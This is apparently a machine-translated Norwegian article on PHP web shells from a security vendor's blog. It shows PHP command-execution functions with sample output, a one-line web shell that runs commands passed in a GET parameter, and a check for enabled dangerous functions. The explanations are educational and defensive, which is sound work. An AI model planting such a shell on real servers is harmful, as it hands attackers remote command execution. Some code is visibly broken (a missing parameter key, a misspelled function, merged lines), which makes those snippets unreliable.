Dubitinsider

for your information

i del 1 av denne serien så vi på hva et webskall er og hvorfor en angriper ville søke å bruke en. I del 2 av denne serien ser vi på noen spesifikke eksempler på webskjell utviklet ved HJELP AV PHP-programmeringsspråket.Webskjell finnes for nesten alle webprogrammeringsspråk du kan tenke på. VI valgte Å fokusere PÅ PHP fordi DET er det mest brukte programmeringsspråket på nettet.

PHP webskjell gjør ikke noe mer enn å bruke INNEBYGDE PHP-funksjoner for å utføre kommandoer. Følgende er noen av de vanligste funksjonene som brukes til å utføre shell-kommandoer I PHP.

Merk: i forbindelse med denne artikkelen redigerte vi vertsfilen vår og pekte på domenet www.example.com til en test server.

system ()

system() funksjonen godtar kommandoen som en parameter, og den gir resultatet.

følgende eksempel på En Microsoft Windows-maskin vil kjøre kommandoen dir for å returnere en katalogoppføring av katalogen DER PHP-filen utføres.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

Utfører kommandoen ls på En Linux-maskin oppnår et lignende resultat.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

Andre kommandoer har samme effekt.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec ()

exec() funksjonen godtar en kommando som parameter, men sender ikke ut resultatet. Hvis en annen valgfri parameter er angitt, returneres resultatet som en matrise. Ellers vil bare den siste linjen i resultatet bli vist hvis ekko.

<?php// Executes but returns nothingexec("ls -la");?>-->

Ved hjelp avecho medexec() – funksjonen vil bare skrive ut den siste linjen i kommandoutgangen.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

hvis en annen parameter er angitt, returneres resultatet i en matrise.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec()

shell_exec()funksjonen er lik exec(), men det utganger hele resultatet som en streng.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passtru ()

passthru() funksjonen utfører en kommando og returnerer utdata i raw-format.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open ()

proc_open() funksjonen kan være vanskelig å forstå (du finner en detaljert beskrivelse av funksjonen i PHP-dokumentene). Ved å bruke proc_open(), kan vi lage en behandler (prosess) som skal brukes til kommunikasjon mellom skriptet vårt og programmet vi vil kjøre.

Backticks

Overraskende, ikke mange PHP-utviklere er klar over dette, MEN PHP vil utføre innholdet i backticks ( ` ) som en shell-kommando.

Merk: backtick-tegnet (`) må ikke forveksles med enkelt anførselstegn (‘)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

Basert på ovenstående er følgende ET PHP webskall i sin enkleste form.

<?php system($_GET);?>

den bruker system () – funksjonen til å utføre kommandoer som sendes GJENNOM » cmd » HTTP request GET parameter.

webskjell bilde 2

Vi har fastslått at disse funksjonene (og noen få andre) kan være veldig farlige. Det som er enda mer farlig er at alle disse INNEBYGDE PHP-kommandoene er aktivert som standard når PHP er installert, og de fleste systemadministratorer deaktiverer ikke dem.

hvis du er usikker på om de er aktivert på systemet ditt, vil følgende returnere en liste over de farlige funksjonene som er aktivert.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

i en standardinstallasjon kan vi se at alle funksjonene nevnt ovenfor er aktivert.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Del 1

En Introduksjon Til Web Skjell

Del 2

Web Skjell 101 VED HJELP AV PHP

Del 3

Holde Web Skjell Under Dekke

div>

del 4

web skjell i aksjon

del 5

Deteksjon & forebygging

ofte stilte spørsmål

et lite program som en angriper kjører på webserveren din. De kan da bruke dette programmet til å få ekstern tilgang til serveren din og kjøre kommandoer på den. En web shell i seg selv er aldri et angrep, det er kjølvannet av et vellykket angrep på din nettside eller web-applikasjon. Dette betyr at hvis du har et webskall, har du et mye mer alvorlig problem å bekymre deg for.

Se hvordan et webskall fungerer i praksis.

Ondsinnede hackere bruker webskjell for å ta kontroll over en allerede kompromittert server. Først utnytter de et sikkerhetsproblem i nettstedet ditt eller webapplikasjonen, for eksempel SQL-injeksjon, ekstern kjøring av kode eller andre. Deretter laster de opp et webskall til webserveren din. Fra nå av kan de kjøre kommandoer som de liker på serveren din.

Se et trinnvis eksempel på et angrep som fører til fullstendig server kompromiss.

du kan oppdage webskjell ved logganalyse. Du bør imidlertid ikke fokusere på å oppdage webskjell, men i stedet bør du oppdage sårbarheter som kan la angriperne ta kontroll over serveren din. Selv om du oppdager et webskall, vil det ikke stoppe angripere fra å ta over kontrollen igjen hvis sårbarhetene fortsatt er der. For å oppdage web sårbarheter og lære å eliminere dem, bruk Acunetix.

Se Hva Acunetix Premium kan gjøre for deg.

den beste måten å beskytte deg mot webskjell er å gjøre det umulig å bruke dem på systemet ditt. Du kan gjøre det ved å herde serveren din – fjerne alle overskytende tillatelser, blokkere potensielt farlige funksjoner, begrense skriptutførelse i opplastingskataloger, etc. Det er imidlertid best å beskytte serveren mot å bli kompromittert i utgangspunktet ved å bruke Acunetix regelmessig.

Les mer om web shell deteksjon og beskyttelse.

Få det siste innholdet på web sikkerhet
i innboksen din hver uke.

DEL DETTE INNLEGGET
FORFATTEREN
agathoklis prodromou
web systems administrator/developer

akis har jobbet i it-sfæren i mer enn 13 år, utvikle sine ferdigheter FRA EN DEFENSIV PERSPEKTIV som systemadministrator og webutvikler, men også fra en offensiv perspektiv som en penetrasjon tester. Han har ulike faglige sertifiseringer knyttet til etisk hacking, digital etterforskning og hendelsesrespons.

Legg igjen en kommentar

Din e-postadresse vil ikke bli publisert.